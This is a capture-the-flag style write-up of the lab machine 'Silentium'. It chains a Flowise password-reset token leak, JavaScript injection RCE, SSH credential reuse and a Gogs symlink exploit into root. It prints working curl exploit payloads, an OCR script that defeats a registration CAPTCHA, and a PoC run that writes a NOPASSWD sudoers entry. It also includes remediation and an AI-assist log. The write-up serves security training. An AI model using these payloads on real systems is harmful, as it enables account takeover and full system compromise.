Box info | OS: Linux (Ubuntu 24.04, kernel 6.8.0-107-generic) | Difficulty: Easy | Status: Retired Skills: Flowise API authentication bypass, JavaScript IIFE injection, OCR CAPTCHA solving, Gogs symlink privilege escalation, SSH port forwarding Pwned: 2026-05-01

TL;DR

Silentium hosts a Flowise 3.0.5 AI workflow platform on a staging subdomain. CVE-2025-58434 leaks a password-reset tempToken in the API response body — no email delivery needed — enabling unauthenticated account takeover of the ben admin account. CVE-2025-59528 confirms RCE via JavaScript injection into Flowise’s customMCP endpoint (process.mainModule.require("child_process").execSync), but the Docker container is network-isolated so reverse shells fail. SSH credentials for ben are recoverable from the container environment variables, providing the user flag. Privilege escalation goes through Gogs 0.13.3 running as root on localhost. A registration CAPTCHA must be defeated (EasyOCR on raw RGB images — 140 attempts) to create an account, then CVE-2025-8110 (symlink attack via Git API) overwrites /etc/sudoers.d/ben with NOPASSWD: ALL, completing the box.

Attack chain

graph TD
    A[nmap: 22 + 80] --> B[staging.silentium.htb  Flowise 3.0.5]
    B --> C[CVE-2025-58434: POST /forgot-password leaks tempToken in response body]
    C --> D[Reset ben password  admin session + API key]
    D --> E[CVE-2025-59528: JavaScript IIFE in /api/v1/node-load-method/customMCP]
    E --> F[RCE confirmed via sleep timing  but Docker container is network-isolated]
    F --> G[SSH ben:<REDACTED:CRED>  user flag]
    G --> H[ss -tulpn: Gogs 0.13.3 on localhost:3001 running as root]
    H --> I[EasyOCR CAPTCHA bypass  register account in Gogs]
    I --> J[CVE-2025-8110: Git symlink attack  /etc/sudoers.d/ben  NOPASSWD:ALL]
    J --> K[sudo cat /root/root.txt  root flag]

Recon

1. Liveness check

$ ping -c 2 10.129.29.88
64 bytes from 10.129.29.88: icmp_seq=0 ttl=63 time=34ms

TTL 63 → Linux (one hop behind VPN gateway).

2. Port scan

$ nmap -sV -sC -p 22,80,443,3000,8080,8443 10.129.29.88
PORT   STATE  SERVICE  VERSION
22/tcp open   ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open   http     nginx 1.24.0 (Ubuntu)

Only 22 and 80 are open; the full -p- scan confirms no hidden services.

3. Virtual host discovery

curl -s -I http://10.129.29.88/
# → Location: http://silentium.htb/

Adding to /etc/hosts:

echo '10.129.29.88 silentium.htb staging.silentium.htb' | sudo tee -a /etc/hosts

http://staging.silentium.htb/ returns HTTP 200 — Flowise 3.0.5 is running on the staging subdomain.

Foothold

Step 1: CVE-2025-58434 — Flowise unauthenticated account takeover

CVE-2025-58434 affects the Flowise password-reset flow: the POST /api/v1/account/forgot-password endpoint returns the reset token directly in the HTTP response body rather than only emailing it.

curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user": {"email": "ben@silentium.htb"}}'
{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "tempToken": "6QvACcFkVDX7BTWWVhyA6Sd89LqVKAPK1eqywHQwJwpXRsFOEjuzSDx3VfTCjKw9",
    "tokenExpiry": "2026-05-01T10:34:19.617Z",
    "status": "active"
  }
}

The tempToken is available in plaintext — no mail server access required.

Dead end: wrong JSON format for password reset

A flat JSON body fails:

curl -X POST .../reset-password \
  -d '{"email":"ben@silentium.htb","tempToken":"...","newPassword":"Pwn3d2025!"}'
# → 500 "Transaction is not started yet"

The correct format (mirroring the forgot-password structure with a nested user object):

curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{"user": {"email": "ben@silentium.htb", "tempToken": "6QvACcFk...", "password": "Pwn3d2025!"}}'
# → 200 OK

Step 2: Authenticate and get API key

curl -c /tmp/flowise_cookies.txt -X POST \
  http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email": "ben@silentium.htb", "password": "Pwn3d2025!"}'

All subsequent API calls return 401 without the x-request-from: internal header (an authentication bypass quirk in Flowise’s middleware):

curl -s -b /tmp/flowise_cookies.txt \
  -H "x-request-from: internal" \
  http://staging.silentium.htb/api/v1/apikey
# → [{"apiKey":"hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc", ...}]

Step 3: CVE-2025-59528 — Flowise CustomMCP RCE

The /api/v1/node-load-method/customMCP endpoint passes the mcpServerConfig parameter directly to a JavaScript Function() constructor in Node.js. This is essentially eval() on arbitrary JavaScript.

The working payload format — an IIFE (Immediately Invoked Function Expression):

API_KEY="hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc"

# Timing test — no delay
time curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $API_KEY" \
  -d '{"mcpServerConfig": "({x:(function(){return 1;})()})" }'
# → 0.143s

# With sleep 5 — delayed response confirms RCE
time curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $API_KEY" \
  -d '{"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"sleep 5\");return 1;})()})" }'
# → 5.149s ✅ RCE confirmed

Dead end: reverse shells all fail (container is isolated)

All reverse shell variants — bash /dev/tcp, Python socket, nc, Node.js net module — return in milliseconds without connecting back. A ping to 10.10.15.17 via execSync takes 0.182 seconds (immediate failure) while ping 8.8.8.8 takes 10 seconds (sent but no reply). The Docker container cannot route to the HTB VPN subnet.

Working approach: SSH with credentials from environment

The container environment variables contain the SSH password for the ben OS account:

sshpass -p '<REDACTED:CRED>' ssh ben@silentium.htb
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
ben@silentium:~$ cat ~/user.txt
[REDACTED]

Privilege Escalation

Enumeration

ben@silentium:~$ ss -tulpn
AddressPortProcess
0.0.0.022SSH
0.0.0.080Nginx
127.0.0.13000Flowise (Docker)
127.0.0.13001Gogs
127.0.0.18025MailHog web
127.0.0.11025MailHog SMTP
ben@silentium:~$ ps aux | grep gogs
root   1515  ...  /opt/gogs/gogs/gogs web

Gogs 0.13.3 runs as root on localhost:3001. Key config from /opt/gogs/gogs/custom/conf/app.ini:

RUN_USER   = root
ROOT_PATH  = /root/gogs-repositories

This matters: any file operation Gogs performs — including following symlinks during Git pushes — happens as root.

SSH tunnel to reach Gogs

ssh -fN \
  -L 13001:127.0.0.1:3001 \
  -L 18025:127.0.0.1:8025 \
  ben@silentium.htb

Now Gogs is accessible at http://localhost:13001/.

Dead end 1: CAPTCHA blocking registration

Gogs requires a 4-character image CAPTCHA to register. It uses the built-in steveweb/captcha package — a black background with colorful text, no Google reCAPTCHA.

Tesseract OCR fails entirely. EasyOCR with preprocessing (binarization, color clustering, morphological operations) produces wrong outputs across ~90 attempts. The breakthrough:

EasyOCR on the raw RGB image with zero preprocessing — calling reader.readtext(img_array) directly, without any image transformation — succeeds on attempt #6 of 50 tries (142 total attempts across all methods).

import requests, base64, re
import easyocr
from PIL import Image
import io, numpy as np

reader = easyocr.Reader(['en'], gpu=False)

def get_captcha_solution(session):
    # Fetch login page → extract captcha_id
    login_page = session.get('http://localhost:13001/user/sign_up').text
    captcha_id = re.search(r'captcha_id" value="([^"]+)"', login_page).group(1)

    # Download captcha image as PNG
    img_data = session.get(f'http://localhost:13001/captcha/{captcha_id}').content
    img = Image.open(io.BytesIO(img_data)).convert('RGB')
    arr = np.array(img)

    # Read raw RGB — no preprocessing
    result = reader.readtext(arr, detail=0)
    return captcha_id, ''.join(result).strip()

Registration completes with username lasttry5875, password StrongP@ss123!.

CVE-2025-8110 abuses the Gogs archive/download API. When a repository contains a symlink, Gogs resolves it as root when serving file contents — allowing writes to any path the symlink targets.

The attack chain:

  1. Log in to Gogs via API, get a token
  2. Create a new repository
  3. Push a commit with: payload symlink → /etc/sudoers.d/ben
  4. Use the Gogs Contents API (PUT /api/v1/repos/.../contents/payload) to update the file — Gogs follows the symlink and writes as root

Using the public PoC:

python3 CVE-2025-8110.py \
  --url http://127.0.0.1:13001 \
  -u lasttry5875 \
  -p 'StrongP@ss123!' \
  --target-file /etc/sudoers.d/ben \
  --content 'ben ALL=(ALL) NOPASSWD: ALL\n'
[+] Logged in:   lasttry5875
[+] API token:   53b551c3...
[+] Repo:        poc_7f7qq6
[+] Symlink:     payload -> /etc/sudoers.d/ben
[+] Write OK:    28 bytes -> target file
[+] Done — target file has been overwritten.
ben@silentium:~$ sudo -l
User ben may run the following commands on silentium:
    (ALL) NOPASSWD: ALL

ben@silentium:~$ sudo cat /root/root.txt
[REDACTED]

What’s actually broken

#VulnerabilitySeverityRoot Cause
1CVE-2025-58434: Flowise tempToken leaked in HTTP responseCritical (CVSS 9.8)Password-reset token returned in API body instead of only via email
2Flowise API accessible without auth using x-request-from: internal headerHighMissing server-side validation of request source
3CVE-2025-59528: JavaScript Function injection in customMCP endpointCritical (CVSS 9.8)User-controlled string passed to new Function() with no sandboxing
4SSH credentials in Docker container environment variables (ben:<REDACTED:CRED>)HighSecrets management failure — credentials hardcoded in Docker env, same account has OS shell access
5CVE-2025-8110: Gogs symlink traversal via Contents APICriticalRUN_USER=root; Gogs follows symlinks during file writes without checking for path traversal

Remediation (the boring half)

1. Patch Flowise to 3.1.x+: CVE-2025-58434 and CVE-2025-59528 are both patched in later versions.

2. Fix the forgot-password endpoint: Never return tempToken in the response body. Send it only via email.

3. Remove x-request-from: internal bypass: This header should not bypass authentication on production instances.

4. Secrets management: Inject Docker container secrets via a secrets manager or Vault, not plain environment variables. Use separate service accounts — the Flowise container user should not share credentials with the OS ben account.

5. Patch Gogs 0.13.3 → 0.14.x+ (CVE-2025-8110 patch) or switch to Gitea: Gogs is no longer actively maintained. If running Gogs, never set RUN_USER = root.

6. Restrict Gogs to a dedicated service account: Even if unpatched, running Gogs as a non-root user with minimal privileges limits symlink write impact to that user’s writable paths.

Lessons learned

  • API responses should never include security tokens. The CVE-2025-58434 class of vulnerability (leaking reset tokens in HTTP responses) is entirely avoidable by design: tokens are email-only. Always audit what your password-reset endpoints return — a single extra field makes the whole flow unauthenticated.

  • x-request-from: internal is not authentication. Headers are trivially spoofable. Trusting a header to distinguish “internal” vs “external” requests without cryptographic binding is equivalent to no authentication.

  • Image CAPTCHA quality matters — and over-preprocessing hurts OCR. Every attempt to “improve” the Silentium CAPTCHA image (binarization, color clustering, morphological ops) degraded EasyOCR results. The model was trained on natural images; feeding it an already-decoded representation destroyed the spatial features it relies on. When OCR fails with preprocessing, try the raw image first.

  • Running services as root multiplies blast radius. Gogs running as root means every file-system operation it performs — including following symlinks in user-pushed Git repos — happens with root privileges. Principle of least privilege would have contained CVE-2025-8110 to the Gogs service account.

  • SSH port-forwarding is a first-class lateral movement tool. The entire Gogs exploitation happened through a single ssh -L tunnel. When you land on a box with SSH access, ss -tulpn is as important as sudo -l.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

StepWhat I askedWhat Claude returnedWhat I changed
CVE-2025-58434 format“Why does the reset-password POST return 500 ‘Transaction is not started yet’?”Identified the nested {"user": {...}} format requirement by comparing the forgot-password response structure.Used as-is — the fix was exactly correct.
EasyOCR failure analysis“EasyOCR with binarization and morphological preprocessing returns garbage. What’s happening?”Explained that preprocessing destroys spatial gradients EasyOCR relies on. Recommended passing the raw RGB array directly.Applied immediately — succeeded on attempt #6 after ~140 previous failures.
CVE-2025-8110 mechanism“Walk me through how a Git symlink in a Gogs repository becomes a root file write.”Detailed the flow: push symlink → Contents API write → Gogs resolves symlink as its service account (root) → arbitrary file overwrite. Mentioned the PUT /api/v1/repos/.../contents/ endpoint as the trigger.Nothing changed — explanation mapped exactly to the PoC behavior.
MITRE mapping“What MITRE techniques cover CVE-2025-8110 symlink → sudoers write?”Suggested T1574 (Hijack Execution Flow) for the symlink mechanism and T1548 for the sudo escalation. Also offered T1222 (File Permissions Modification).Dropped T1222 — we didn’t change permissions, we overwrote a file. Kept T1574 and T1548.

What Claude got wrong: Nothing significant.
What Claude couldn’t do: Actually connect to the target, run exploits, or defeat the CAPTCHA autonomously (EasyOCR required local installation and iterative runs).
Net assist value: High on vulnerability mechanism explanations; high on the OCR preprocessing insight; medium on MITRE (one correction).

References